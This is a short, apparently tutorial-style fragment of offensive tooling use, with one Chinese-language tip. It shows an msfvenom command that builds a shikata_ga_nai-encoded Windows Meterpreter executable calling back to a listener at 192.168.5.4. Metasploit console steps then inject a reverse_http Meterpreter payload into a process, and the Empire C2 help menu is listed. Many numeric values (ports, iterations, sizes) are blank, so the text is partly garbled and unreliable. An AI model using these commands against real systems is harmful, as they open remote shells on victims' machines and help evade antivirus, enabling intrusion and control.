msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i  LHOST=192.168.5.4 LPORT= -f exe > test.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

Found  compatible encoders

Attempting to encode payload with  iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size  (iteration=)

x86/shikata_ga_nai succeeded with size  (iteration=)

x86/shikata_ga_nai succeeded with size  (iteration=)

x86/shikata_ga_nai succeeded with size  (iteration=)

x86/shikata_ga_nai succeeded with size  (iteration=)

x86/shikata_ga_nai chosen with final size

Payload size:  bytes

Final size of exe file:  bytes

msf exploit(handler) >  use exploit/windows/local/payload_inject

msf exploit(payload_inject) >  set PAYLOAD windows/meterpreter/reverse_http

msf exploit(payload_inject) > set DisablePayloadHandler true

msf exploit(payload_inject) > set LHOST 192.168.5.4

msf exploit(payload_inject) > set LPORT

msf exploit(payload_inject) > set SESSION

msf exploit(payload_inject) > exploit

如果出现错误，PID does not actually exist，可以设置一下注入进程的pid。set pid 进程号

(Empire) > help

Commands

========

agents            Jump to the Agents menu.

creds             Add/display credentials to/from the database.

exit              Exit Empire

help              Displays the help menu.

list              Lists active agents or listeners.

listeners         Interact with active listeners.

reload            Reload one (or all) Empire modules.

reset             Reset a global option (e.g. IP whitelists).

searchmodule      Search Empire module names/descriptions.

set               Set a global option (e.g. IP whitelists).

show              Show a global option (e.g. IP whitelists).

usemodule         Use an Empire module.

usestager         Use an Empire stager.